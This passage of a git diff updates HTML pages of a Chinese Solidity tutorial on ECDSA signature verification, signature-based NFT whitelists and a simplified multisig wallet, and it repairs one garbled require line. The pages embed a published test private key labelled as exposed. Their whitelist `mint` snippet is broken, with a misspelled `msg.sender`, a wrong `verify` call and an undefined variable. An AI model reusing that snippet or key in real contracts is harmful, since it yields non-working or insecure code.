    +  console.log("WorldCupV2 address:", upgraded.address);
    +
    +  await upgraded.changeDeadline(deadline + 100)
    +  console.log("deadline2:", await upgraded.deadline())
     }
     
     main();
    @@ -3331,7 +3348,7 @@ 

    参考链接

    @@ -3417,14 +3434,6 @@

    参考链接

    - - - - - - - - diff --git "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/07_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_\351\223\276\344\270\213\347\255\276\345\220\215.html" "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/07_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_\351\223\276\344\270\213\347\255\276\345\220\215.html" index 72c45fe1..11b3bde3 100644 --- "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/07_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_\351\223\276\344\270\213\347\255\276\345\220\215.html" +++ "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/07_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_\351\223\276\344\270\213\347\255\276\345\220\215.html" @@ -36,10 +36,6 @@ - - - - @@ -3045,20 +3041,20 @@

    签名介绍

    我们在区块链中发起的每一笔交易(转账、对合约写操作)都是使用私钥签名过的,矿工会在打包前对每笔交易进行校验。

    image-20221127165422619

    其中,V,R,S是对签名分割后得到的数据,会在后面讲解,签名示例如下:

    -
    # private
    -# 这个私钥事暴露的,完全是测试使用的,千万不要往里面转钱!!!
    +
    # private
    +# 这个私钥事暴露的,完全是测试使用的,千万不要往里面转钱!!!
     0xc5e8f61d1ab959b397eecc0a37a6517b8e67a0e7cf1f4bce5591f3ed80199122
     
    -# address 
    +# address 
     0xc783df8a850f42e7F7e57013759C285caa701eB6
     
    -# message
    -['0xc783df8a850f42e7F7e57013759C285caa701eB6', 999]
    +# message
    +['0xc783df8a850f42e7F7e57013759C285caa701eB6', 999]
     
    -# msgHash
    +# msgHash
     0x416401c79c50b3b388890427985a289a2b8e6cd8e38949e79d5c77ec1ff88e88
     
    -# signature
    +# signature
     0x381d3b66dbbbb2e83d054444197daa3b3309d19dcb5e81a8cc4015c4b13d8b7b79f1ce1f34b465b6cb211534869198dadf58118f0bf6208cd646d689b342af071c
     

    签名验证过程

    @@ -3083,11 +3079,11 @@

    ECDSA合约

    image-20221127223259928

    阶段一:打包原始消息

    在以太坊的ECDSA标准中,被签名的消息为一组数据的hash值(由keccak256算法生成的byte32类型的数据),我们可以使用abi.encodePacked打包函数将任意多个参数进行打包,此处为:address和uint256类型。

    -
        function getMessageHash(
    +
        function getMessageHash(
             address _to,
             uint _amount
    -    ) public pure returns (bytes32) {
    -        return keccak256(abi.encodePacked(_to, _amount));
    +    ) public pure returns (bytes32) {
    +        return keccak256(abi.encodePacked(_to, _amount));
         }
     

    输入参数:0xc783df8a850f42e7f7e57013759c285caa701eb6, 100

    @@ -3095,16 +3091,16 @@

    阶段一:打包原始消息

    image-20221127224627119

    阶段二:生成待签名数据

    原始的消息可以是能被执行的交易,也可以是其他任何形式。为了避免用户误签了恶意交易,EIP191提倡在消息前加上前缀prefix:"\x19Ethereum Signed Message:\n32"字符,并再做一次keccak256哈希,作为以太坊签名消息。经过getEthSignedMessageHash()函数处理后的消息,不能被用于执行交易。

    -
        function getEthSignedMessageHash(bytes32 _messageHash)
    -        public
    -        pure
    -        returns (bytes32)
    -    {
    -        return
    +
        function getEthSignedMessageHash(bytes32 _messageHash)
    +        public
    +        pure
    +        returns (bytes32)
    +    {
    +        return
                 keccak256(
    -                // 这是标准字符串: \x19Ethereum Signed Message:\n
    -                // 32表示后面的哈希内容长度
    -                abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash)
    +                // 这是标准字符串: \x19Ethereum Signed Message:\n
    +                // 32表示后面的哈希内容长度
    +                abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash)
                 );
         }
     
    @@ -3119,9 +3115,9 @@

    1. metamask生成签名

  • 打开控制台F12(chrome)-> console,输入如下内容:

    ethereum.enable()
    -account = "0xc783df8a850f42e7F7e57013759C285caa701eB6"
    -hash = "0xcfb170482914a76ca8521405f52699df67c7ebb8e3899f27cc8265ebdab98a36"
    -ethereum.request({method: "personal_sign", params: [account, hash]})
    +account = "0xc783df8a850f42e7F7e57013759C285caa701eB6"
    +hash = "0xcfb170482914a76ca8521405f52699df67c7ebb8e3899f27cc8265ebdab98a36"
    +ethereum.request({method: "personal_sign", params: [account, hash]})
     
  • 点击Sign进行签名

    @@ -3133,28 +3129,28 @@

    1. metamask生成签名

    2. etherjs生成签名

    1. 在hardhat的test文件夹下创建sign.ts,内容如下:

      -
      const { expect } = require("chai")
      -const { ethers } = require("hardhat")
      +
      const { expect } = require("chai")
      +const { ethers } = require("hardhat")
       
      -describe("Signature", function () {
      -  it("signature", async function () {
      -    // 0xc783df8a850f42e7f7e57013759c285caa701eb6
      -    let privateKey = '0xc5e8f61d1ab959b397eecc0a37a6517b8e67a0e7cf1f4bce5591f3ed80199122'
      -    console.log('private:', privateKey);
      +describe("Signature", function () {
      +  it("signature", async function () {
      +    // 0xc783df8a850f42e7f7e57013759c285caa701eb6
      +    let privateKey = '0xc5e8f61d1ab959b397eecc0a37a6517b8e67a0e7cf1f4bce5591f3ed80199122'
      +    console.log('private:', privateKey);
       
      -    const signer = new ethers.Wallet(privateKey);
      -    console.log('address :', signer.address);
      +    const signer = new ethers.Wallet(privateKey);
      +    console.log('address :', signer.address);
       
      -    const amount = 100
      +    const amount = 100
       
      -    let msgHash = ethers.utils.solidityKeccak256(
      -      ["address", "uint256"], [signer.address, amount]
      +    let msgHash = ethers.utils.solidityKeccak256(
      +      ["address", "uint256"], [signer.address, amount]
           )
       
      -    console.log('msgHash:', msgHash);
      -    const sig = await signer.signMessage(ethers.utils.arrayify(msgHash))
      +    console.log('msgHash:', msgHash);
      +    const sig = await signer.signMessage(ethers.utils.arrayify(msgHash))
       
      -    console.log('signature:', sig);
      +    console.log('signature:', sig);
         })
       })
       
      @@ -3163,35 +3159,35 @@

      2. etherjs生成签名

    此时我们已经生成了签名,签名是由数学算法生成的。这里我们使用的是rsv签名签名中包含r, s, v三个值的信息。而后,我们可以通过r, s, v以太坊签名消息来求得公钥。下面的recoverSigner()函数实现了上述步骤,它利用以太坊签名消息 _ethSignedMessageHash签名 _signature恢复公钥(使用了内联汇编):

    -
        function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature)
    -        public
    -        pure
    -        returns (address)
    -    {
    +
        function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature)
    +        public
    +        pure
    +        returns (address)
    +    {
             (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature);
     
    -          // 返回解析出来的签名地址,
    -        return ecrecover(_ethSignedMessageHash, v, r, s);
    +          // 返回解析出来的签名地址,
    +        return ecrecover(_ethSignedMessageHash, v, r, s);
         }
     
    -        // 对私钥进行分割
    -    function splitSignature(bytes memory sig)
    -        public
    -        pure
    -        returns (
    +        // 对私钥进行分割
    +    function splitSignature(bytes memory sig)
    +        public
    +        pure
    +        returns (
                 bytes32 r,
                 bytes32 s,
                 uint8 v
    -        )
    -    {
    -          // 验证长度有效性
    -        require(sig.length == 65, "invalid signature length");
    +        )
    +    {
    +          // 验证长度有效性
    +        require(sig.length == 65, "invalid signature length");
     
    -          // 通过读取内存数据,根据规则进行截取,返回r,s,v数据
    +          // 通过读取内存数据,根据规则进行截取,返回r,s,v数据
             assembly {
    -            r := mload(add(sig, 32))
    -            s := mload(add(sig, 64))
    -            v := byte(0, mload(add(sig, 96)))
    +            r := mload(add(sig, 32))
    +            s := mload(add(sig, 64))
    +            v := byte(0, mload(add(sig, 96)))
             }
         }
     
    @@ -3201,76 +3197,76 @@

    2. etherjs生成签名

    image-20221128001415565

    阶段四:验证

    接下来,我们只需要比对恢复的公钥与签名者公钥_signer是否相等:若相等,则签名有效;否则,签名无效:

    -
        function verify(bytes32 _msgHash, bytes memory _signature, address _signer) public pure returns (bool) {
    -        return recoverSigner(_msgHash, _signature) == _signer;
    +
        function verify(bytes32 _msgHash, bytes memory _signature, address _signer) public pure returns (bool) {
    +        return recoverSigner(_msgHash, _signature) == _signer;
         }
     

    效果如下,此为有效签名!

    image-20221128002314447

    完整代码

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8;
     
     contract VerifySignature {
    -    // 1. 对真正的内容进行哈希处理,私钥最终只对这个进行签名
    -    function getMessageHash(
    +    // 1. 对真正的内容进行哈希处理,私钥最终只对这个进行签名
    +    function getMessageHash(
             address _to,
             uint _amount
    -    ) public pure returns (bytes32) {
    -        return keccak256(abi.encodePacked(_to, _amount));
    +    ) public pure returns (bytes32) {
    +        return keccak256(abi.encodePacked(_to, _amount));
         }
     
    -    // 2. 对内容的哈希进行二次哈希,这个用于做verify处理
    -    function getEthSignedMessageHash(bytes32 _messageHash)
    -        public
    -        pure
    -        returns (bytes32)
    -    {
    -        return
    +    // 2. 对内容的哈希进行二次哈希,这个用于做verify处理
    +    function getEthSignedMessageHash(bytes32 _messageHash)
    +        public
    +        pure
    +        returns (bytes32)
    +    {
    +        return
                 keccak256(
    -                //这是标准字符串: \x19Ethereum Signed Message:\n
    -                //32表示后面的哈希内容长度
    -                abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash)
    +                //这是标准字符串: \x19Ethereum Signed Message:\n
    +                //32表示后面的哈希内容长度
    +                abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash)
                 );
         }
     
    -    // 3. 传入基础数据和签名,内部会计算出哈希值,并使用签名进行校验。
    -    // 这个是最核心的方法,最终外部仅调用这个
    -    function verify(bytes32 _msgHash, bytes memory _signature, address _signer) public pure returns (bool) {
    -        return recoverSigner(_msgHash, _signature) == _signer;
    +    // 3. 传入基础数据和签名,内部会计算出哈希值,并使用签名进行校验。
    +    // 这个是最核心的方法,最终外部仅调用这个
    +    function verify(bytes32 _msgHash, bytes memory _signature, address _signer) public pure returns (bool) {
    +        return recoverSigner(_msgHash, _signature) == _signer;
         }
     
    -    function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature)
    -        public
    -        pure
    -        returns (address)
    -    {
    +    function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature)
    +        public
    +        pure
    +        returns (address)
    +    {
             (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature);
     
    -        return ecrecover(_ethSignedMessageHash, v, r, s);
    +        return ecrecover(_ethSignedMessageHash, v, r, s);
         }
     
    -    function splitSignature(bytes memory sig)
    -        public
    -        pure
    -        returns (
    +    function splitSignature(bytes memory sig)
    +        public
    +        pure
    +        returns (
                 bytes32 r,
                 bytes32 s,
                 uint8 v
    -        )
    -    {
    -        require(sig.length == 65, "invalid signature length");
    +        )
    +    {
    +        require(sig.length == 65, "invalid signature length");
     
             assembly {
    -            r := mload(add(sig, 32))
    -            s := mload(add(sig, 64))
    -            v := byte(0, mload(add(sig, 96)))
    +            r := mload(add(sig, 32))
    +            s := mload(add(sig, 64))
    +            v := byte(0, mload(add(sig, 96)))
             }
         }
     }
     

    单元测试:

    -
    npx hardhat test test/verifySignature.ts
    +
    npx hardhat test test/verifySignature.ts
     

    image-20221128004656106

    链下签名实现白名单

    @@ -3279,20 +3275,20 @@

    链下签名实现白名单

  • 对将白名单用户地址,tokenId,进行签名入库;
  • 用户mint时,传入签名,在mint中进行校验,只有校验为true的用户才可以mint,从而完成白名单功能。
  • -
        function mint(uint256 _tokenId, bytes memory _signature) external {
    -          // 将用户地址和_tokenId打包消息
    +
        function mint(uint256 _tokenId, bytes memory _signature) external {
    +          // 将用户地址和_tokenId打包消息
             bytes32 _msgHash = getMessageHash(msg.sener, _tokenId); 
     
    -          // 计算以太坊签名消息
    +          // 计算以太坊签名消息
             bytes32 _ethSignedMessageHash = getEthSignedMessageHash(_msgHash);
     
    -          // ECDSA检验通过
    -        require(verify(_ethSignedMessageHash, _signature), "Invalid signature");
    +          // ECDSA检验通过
    +        require(verify(_ethSignedMessageHash, _signature), "Invalid signature");
     
    -          // 地址没有mint过
    -        require(!mintedAddress[_account], "Already minted!"); 
    +          // 地址没有mint过
    +        require(!mintedAddress[_account], "Already minted!"); 
             _mint(_account, _tokenId);
    -        mintedAddress[_account] = true;
    +        mintedAddress[_account] = true;
         }
     

    总结

    @@ -3381,7 +3377,7 @@

    链接

    @@ -3467,14 +3463,6 @@

    链接

    - - - - - - - - diff --git "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/08_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_\345\244\232\347\255\276\351\222\261\345\214\205.html" "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/08_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_\345\244\232\347\255\276\351\222\261\345\214\205.html" index 55ffaed2..6279ff9e 100644 --- "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/08_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_\345\244\232\347\255\276\351\222\261\345\214\205.html" +++ "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/08_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_\345\244\232\347\255\276\351\222\261\345\214\205.html" @@ -36,10 +36,6 @@ - - - - @@ -3081,8 +3077,8 @@

    分析

    两个事件

    MultisigWallet合约有2个事件,ExecutionSuccessExecutionFailure,分别在交易成功和失败时释放,参数为交易哈希。

    -
    event ExecutionSuccess(bytes32 txHash);    // 交易成功事件
    -event ExecutionFailure(bytes32 txHash);    // 交易失败事件
    +
    event ExecutionSuccess(bytes32 txHash);    // 交易成功事件
    +event ExecutionFailure(bytes32 txHash);    // 交易失败事件
     

    五个状态变量

      @@ -3092,57 +3088,59 @@

      五个状态变量

    1. threshold:多签执行门槛,交易至少有n个多签人签名才能被执行。
    2. nonce:初始为0,随着多签合约每笔成功执行的交易递增的值,可以防止签名重放攻击。
    -
        address[] public owners;                   // 多签持有人数组 
    -    mapping(address => bool) public isOwner;   // 记录一个地址是否为多签持有人
    -    uint256 public ownerCount;                 // 多签持有人数量
    -    uint256 public threshold;                  // 多签执行门槛,交易至少有n个多签人签名才能被执行。
    -    uint256 public nonce;                      // nonce,防止签名重放攻击
    +
        address[] public owners;                   // 多签持有人数组 
    +    mapping(address => bool) public isOwner;   // 记录一个地址是否为多签持有人
    +    uint256 public ownerCount;                 // 多签持有人数量
    +    uint256 public threshold;                  // 多签执行门槛,交易至少有n个多签人签名才能被执行。
    +    uint256 public nonce;                      // nonce,防止签名重放攻击
     

    六个函数

    1. 构造函数:调用_setupOwners(),初始化和多签持有人和执行门槛相关的变量。

      -
      // 构造函数,初始化owners, isOwner, ownerCount, threshold 
      -constructor(address[] memory _owners, uint256 _threshold) {
      +
      // 构造函数,初始化owners, isOwner, ownerCount, threshold 
      +constructor(address[] memory _owners, uint256 _threshold) {
           _setupOwners(_owners, _threshold);
       }
       
    2. _setupOwners():在合约部署时被构造函数调用,初始化ownersisOwnerownerCountthreshold状态变量。传入的参数中,执行门槛需大于等于1且小于等于多签人数;多签地址不能为0地址且不能重复。

      -
      function _setupOwners(address[] memory _owners, uint256 _threshold) internal {
      -    // threshold没被初始化过
      -    require(threshold == 0, "001");
      -    // 多签执行门槛 小于 多签人数
      -    require(_threshold <= _owners.length, "002"); 多签执行门槛至少为1 require(_threshold>= 1, "003");
      -
      -    for (uint256 i = 0; i < _owners.length; i++) {
      +
      function _setupOwners(address[] memory _owners, uint256 _threshold) internal {
      +    // threshold没被初始化过
      +    require(threshold == 0, "001");
      +    // 多签执行门槛 小于 多签人数
      +    require(_threshold <= _owners.length, "002");
      +    // 多签执行门槛至少为1
      +    require(_threshold >= 1, "003");
      +
      +    for (uint256 i = 0; i < _owners.length; i++) {
               address owner = _owners[i];
      -        // 多签人不能为0地址,本合约地址,不能重复
      -        require(owner != address(0) && owner != address(this) && !isOwner[owner], "004");
      +        // 多签人不能为0地址,本合约地址,不能重复
      +        require(owner != address(0) && owner != address(this) && !isOwner[owner], "004");
               owners.push(owner);
      -        isOwner[owner] = true;
      +        isOwner[owner] = true;
           }
           ownerCount = _owners.length;
           threshold = _threshold;
       }
      -
      +
    3. execTransaction():在收集足够的多签签名后,验证签名并执行交易。传入的参数为目标地址to,发送的以太坊数额value,数据data,以及打包签名signatures。打包签名就是将收集的多签人对交易哈希的签名,按多签持有人地址从小到大顺序,打包到一个[bytes]数据中。这一步调用了encodeTransactionData()编码交易,调用了checkSignatures()检验签名是否有效、数量是否达到执行门槛。

      -
      function execTransaction(
      +
      function execTransaction(
           address to,
           uint256 value,
           bytes memory data,
           bytes memory signatures
      -) public payable virtual returns (bool success) {
      -    // 编码交易数据,计算哈希
      +) public payable virtual returns (bool success) {
      +    // 编码交易数据,计算哈希
           bytes32 txHash = encodeTransactionData(to, value, data, nonce, block.chainid);
           nonce++;
      -    // 检查签名
      +    // 检查签名
           checkSignatures(txHash, signatures);
      -    // 利用call执行交易,并获取交易结果
      -    (success, ) = to.call{value: value}(data);
      -    require(success , "005");
      -    if (success) emit ExecutionSuccess(txHash);
      -    else emit ExecutionFailure(txHash);
      +    // 利用call执行交易,并获取交易结果
      +    (success, ) = to.call{value: value}(data);
      +    require(success , "005");
      +    if (success) emit ExecutionSuccess(txHash);
      +    else emit ExecutionFailure(txHash);
       }
       
    4. @@ -3152,63 +3150,63 @@

      六个函数

    5. 利用 currentOwner > lastOwner 确定签名来自不同多签(多签地址递增);
    6. 利用isOwner[currentOwner]确定签名者为多签持有人。
    7. -
      function checkSignatures(bytes32 dataHash, bytes memory signatures) public view {
      -    // 读取多签执行门槛
      +
      function checkSignatures(bytes32 dataHash, bytes memory signatures) public view {
      +    // 读取多签执行门槛
           uint256 _threshold = threshold;
      -    require(_threshold > 0, "006");
      +    require(_threshold > 0, "006");
       
      -    // 检查签名长度足够长
      -    require(signatures.length >= _threshold * 65, "007");
      +    // 检查签名长度足够长
      +    require(signatures.length >= _threshold * 65, "007");
       
      -    // 通过一个循环,检查收集的签名是否有效
      -    // 大概思路:
      -    // 1. 用ecdsa先验证签名是否有效
      -    // 2. 利用 currentOwner > lastOwner 确定签名来自不同多签(多签地址递增)
      -    // 3. 利用 isOwner[currentOwner] 确定签名者为多签持有人
      -    address lastOwner = address(0); 
      +    // 通过一个循环,检查收集的签名是否有效
      +    // 大概思路:
      +    // 1. 用ecdsa先验证签名是否有效
      +    // 2. 利用 currentOwner > lastOwner 确定签名来自不同多签(多签地址递增)
      +    // 3. 利用 isOwner[currentOwner] 确定签名者为多签持有人
      +    address lastOwner = address(0); 
           address currentOwner;
           uint8 v;
           bytes32 r;
           bytes32 s;
           uint256 i;
      -    for (i = 0; i < _threshold; i++) {
      +    for (i = 0; i < _threshold; i++) {
               (v, r, s) = signatureSplit(signatures, i);
      -        // 利用ecrecover检查签名是否有效
      -        currentOwner = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash)), v, r, s);
      -        require(currentOwner > lastOwner && isOwner[currentOwner], "008");
      +        // 利用ecrecover检查签名是否有效
      +        currentOwner = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash)), v, r, s);
      +        require(currentOwner > lastOwner && isOwner[currentOwner], "008");
               lastOwner = currentOwner;
           }
       }
       
    8. signatureSplit():将单个签名从打包的签名分离出来,参数分别为打包签名signatures和要读取的签名位置pos。利用了内联汇编,将签名的rs,和v三个值分离出来。

      -
      function signatureSplit(bytes memory signatures, uint256 pos)
      -    internal
      -    pure
      -    returns (
      +
      function signatureSplit(bytes memory signatures, uint256 pos)
      +    internal
      +    pure
      +    returns (
               uint8 v,
               bytes32 r,
               bytes32 s
      -    )
      -{
      -    // 签名的格式:{bytes32 r}{bytes32 s}{uint8 v}
      +    )
      +{
      +    // 签名的格式:{bytes32 r}{bytes32 s}{uint8 v}
           assembly {
      -        let signaturePos := mul(0x41, pos)
      -        r := mload(add(signatures, add(signaturePos, 0x20)))
      -        s := mload(add(signatures, add(signaturePos, 0x40)))
      -        v := and(mload(add(signatures, add(signaturePos, 0x41))), 0xff)
      +        let signaturePos := mul(0x41, pos)
      +        r := mload(add(signatures, add(signaturePos, 0x20)))
      +        s := mload(add(signatures, add(signaturePos, 0x40)))
      +        v := and(mload(add(signatures, add(signaturePos, 0x41))), 0xff)
           }
       }
       
    9. encodeTransactionData():将交易数据打包并计算哈希,利用了abi.encode()keccak256()函数。这个函数可以计算出一个交易的哈希,然后在链下让多签人签名并收集,再调用execTransaction()函数执行。

      -
      function encodeTransactionData(
      +
      function encodeTransactionData(
           address to,
           uint256 value,
           bytes memory data,
           uint256 _nonce,
           uint256 chainid
      -) public pure returns (bytes32) {
      +) public pure returns (bytes32) {
           bytes32 safeTxHash =
               keccak256(
                   abi.encode(
      @@ -3219,146 +3217,148 @@ 

      六个函数

      chainid ) ); - return safeTxHash; + return safeTxHash; }

    完整代码

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.4;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.4;
     
    -/// 基于签名的多签钱包,由gnosis safe合约简化而来,教学使用。
    +/// 基于签名的多签钱包,由gnosis safe合约简化而来,教学使用。
     contract MultisigWallet {
    -    event ExecutionSuccess(bytes32 txHash);    // 交易成功事件
    -    event ExecutionFailure(bytes32 txHash);    // 交易失败事件
    +    event ExecutionSuccess(bytes32 txHash);    // 交易成功事件
    +    event ExecutionFailure(bytes32 txHash);    // 交易失败事件
     
    -    address[] public owners;                   // 多签持有人数组 
    -    mapping(address => bool) public isOwner;   // 记录一个地址是否为多签
    -    uint256 public ownerCount;                 // 多签持有人数量
    -    uint256 public threshold;                  // 多签执行门槛,交易至少有n个多签人签名才能被执行。
    -    uint256 public nonce;                      // nonce,防止签名重放攻击
    +    address[] public owners;                   // 多签持有人数组 
    +    mapping(address => bool) public isOwner;   // 记录一个地址是否为多签
    +    uint256 public ownerCount;                 // 多签持有人数量
    +    uint256 public threshold;                  // 多签执行门槛,交易至少有n个多签人签名才能被执行。
    +    uint256 public nonce;                      // nonce,防止签名重放攻击
     
         receive() external payable {}
     
    -    // 构造函数,初始化owners, isOwner, ownerCount, threshold 
    -    constructor(address[] memory _owners,uint256 _threshold) {
    +    // 构造函数,初始化owners, isOwner, ownerCount, threshold 
    +    constructor(address[] memory _owners,uint256 _threshold) {
             _setupOwners(_owners, _threshold);
         }
     
    -    /// @dev 初始化owners, isOwner, ownerCount,threshold 
    -    /// @param _owners: 多签持有人数组
    -    /// @param _threshold: 多签执行门槛,至少有几个多签人签署了交易
    -    function _setupOwners(address[] memory _owners, uint256 _threshold) internal {
    -        // threshold没被初始化过
    -        require(threshold == 0, "001");
    -        // 多签执行门槛 小于 多签人数
    -        require(_threshold <= _owners.length, "002"); 多签执行门槛至少为1 require(_threshold>= 1, "003");
    -
    -        for (uint256 i = 0; i < _owners.length; i++) {
    +    /// @dev 初始化owners, isOwner, ownerCount,threshold 
    +    /// @param _owners: 多签持有人数组
    +    /// @param _threshold: 多签执行门槛,至少有几个多签人签署了交易
    +    function _setupOwners(address[] memory _owners, uint256 _threshold) internal {
    +        // threshold没被初始化过
    +        require(threshold == 0, "001");
    +        // 多签执行门槛 小于 多签人数
    +        require(_threshold <= _owners.length, "002");
    +        // 多签执行门槛至少为1
    +        require(_threshold >= 1, "003");
    +
    +        for (uint256 i = 0; i < _owners.length; i++) {
                 address owner = _owners[i];
    -            // 多签人不能为0地址,本合约地址,不能重复
    -            require(owner != address(0) && owner != address(this) && !isOwner[owner], "004");
    +            // 多签人不能为0地址,本合约地址,不能重复
    +            require(owner != address(0) && owner != address(this) && !isOwner[owner], "004");
                 owners.push(owner);
    -            isOwner[owner] = true;
    +            isOwner[owner] = true;
             }
             ownerCount = _owners.length;
             threshold = _threshold;
         }
     
    -    /// @dev 在收集足够的多签签名后,执行交易
    -    /// @param to 目标合约地址
    -    /// @param value msg.value,支付的以太坊
    -    /// @param data calldata
    -    /// @param signatures 打包的签名,对应的多签地址由小到达,方便检查。 ({bytes32 r}{bytes32 s}{uint8 v}) (第一个多签的签名, 第二个多签的签名 ... )
    -    function execTransaction(
    +    /// @dev 在收集足够的多签签名后,执行交易
    +    /// @param to 目标合约地址
    +    /// @param value msg.value,支付的以太坊
    +    /// @param data calldata
    +    /// @param signatures 打包的签名,对应的多签地址由小到达,方便检查。 ({bytes32 r}{bytes32 s}{uint8 v}) (第一个多签的签名, 第二个多签的签名 ... )
    +    function execTransaction(
             address to,
             uint256 value,
             bytes memory data,
             bytes memory signatures
    -    ) public payable virtual returns (bool success) {
    -        // 编码交易数据,计算哈希
    +    ) public payable virtual returns (bool success) {
    +        // 编码交易数据,计算哈希
             bytes32 txHash = encodeTransactionData(to, value, data, nonce, block.chainid);
    -        nonce++;  // 增加nonce
    -        checkSignatures(txHash, signatures); // 检查签名
    -        // 利用call执行交易,并获取交易结果
    -        (success, ) = to.call{value: value}(data);
    -        require(success , "005");
    -        if (success) emit ExecutionSuccess(txHash);
    -        else emit ExecutionFailure(txHash);
    +        nonce++;  // 增加nonce
    +        checkSignatures(txHash, signatures); // 检查签名
    +        // 利用call执行交易,并获取交易结果
    +        (success, ) = to.call{value: value}(data);
    +        require(success , "005");
    +        if (success) emit ExecutionSuccess(txHash);
    +        else emit ExecutionFailure(txHash);
         }
     
    -    /**
    -     * @dev 检查签名和交易数据是否对应。如果是无效签名,交易会revert
    -     * @param dataHash 交易数据哈希
    -     * @param signatures 几个多签签名打包在一起
    -     */
    -    function checkSignatures(
    +    /**
    +     * @dev 检查签名和交易数据是否对应。如果是无效签名,交易会revert
    +     * @param dataHash 交易数据哈希
    +     * @param signatures 几个多签签名打包在一起
    +     */
    +    function checkSignatures(
             bytes32 dataHash,
             bytes memory signatures
    -    ) public view {
    -        // 读取多签执行门槛
    +    ) public view {
    +        // 读取多签执行门槛
             uint256 _threshold = threshold;
    -        require(_threshold > 0, "006");
    +        require(_threshold > 0, "006");
     
    -        // 检查签名长度足够长
    -        require(signatures.length >= _threshold * 65, "007");
    +        // 检查签名长度足够长
    +        require(signatures.length >= _threshold * 65, "007");
     
    -        // 通过一个循环,检查收集的签名是否有效
    -        // 大概思路:
    -        // 1. 用ecdsa先验证签名是否有效
    -        // 2. 利用 currentOwner > lastOwner 确定签名来自不同多签(多签地址递增)
    -        // 3. 利用 isOwner[currentOwner] 确定签名者为多签持有人
    -        address lastOwner = address(0); 
    +        // 通过一个循环,检查收集的签名是否有效
    +        // 大概思路:
    +        // 1. 用ecdsa先验证签名是否有效
    +        // 2. 利用 currentOwner > lastOwner 确定签名来自不同多签(多签地址递增)
    +        // 3. 利用 isOwner[currentOwner] 确定签名者为多签持有人
    +        address lastOwner = address(0); 
             address currentOwner;
             uint8 v;
             bytes32 r;
             bytes32 s;
             uint256 i;
    -        for (i = 0; i < _threshold; i++) {
    +        for (i = 0; i < _threshold; i++) {
                 (v, r, s) = signatureSplit(signatures, i);
    -            // 利用ecrecover检查签名是否有效
    -            currentOwner = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash)), v, r, s);
    -            require(currentOwner > lastOwner && isOwner[currentOwner], "008");
    +            // 利用ecrecover检查签名是否有效
    +            currentOwner = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash)), v, r, s);
    +            require(currentOwner > lastOwner && isOwner[currentOwner], "008");
                 lastOwner = currentOwner;
             }
         }
     
    -    /// 将单个签名从打包的签名分离出来
    -    /// @param signatures 打包的多签
    -    /// @param pos 要读取的多签index.
    -    function signatureSplit(bytes memory signatures, uint256 pos)
    -        internal
    -        pure
    -        returns (
    +    /// 将单个签名从打包的签名分离出来
    +    /// @param signatures 打包的多签
    +    /// @param pos 要读取的多签index.
    +    function signatureSplit(bytes memory signatures, uint256 pos)
    +        internal
    +        pure
    +        returns (
                 uint8 v,
                 bytes32 r,
                 bytes32 s
    -        )
    -    {
    -        // 签名的格式:{bytes32 r}{bytes32 s}{uint8 v}
    +        )
    +    {
    +        // 签名的格式:{bytes32 r}{bytes32 s}{uint8 v}
             assembly {
    -            let signaturePos := mul(0x41, pos)
    -            r := mload(add(signatures, add(signaturePos, 0x20)))
    -            s := mload(add(signatures, add(signaturePos, 0x40)))
    -            v := and(mload(add(signatures, add(signaturePos, 0x41))), 0xff)
    +            let signaturePos := mul(0x41, pos)
    +            r := mload(add(signatures, add(signaturePos, 0x20)))
    +            s := mload(add(signatures, add(signaturePos, 0x40)))
    +            v := and(mload(add(signatures, add(signaturePos, 0x41))), 0xff)
             }
         }
     
    -    /// @dev 编码交易数据
    -    /// @param to 目标合约地址
    -    /// @param value msg.value,支付的以太坊
    -    /// @param data calldata
    -    /// @param _nonce 交易的nonce.
    -    /// @param chainid 链id
    -    /// @return 交易哈希bytes.
    -    function encodeTransactionData(
    +    /// @dev 编码交易数据
    +    /// @param to 目标合约地址
    +    /// @param value msg.value,支付的以太坊
    +    /// @param data calldata
    +    /// @param _nonce 交易的nonce.
    +    /// @param chainid 链id
    +    /// @return 交易哈希bytes.
    +    function encodeTransactionData(
             address to,
             uint256 value,
             bytes memory data,
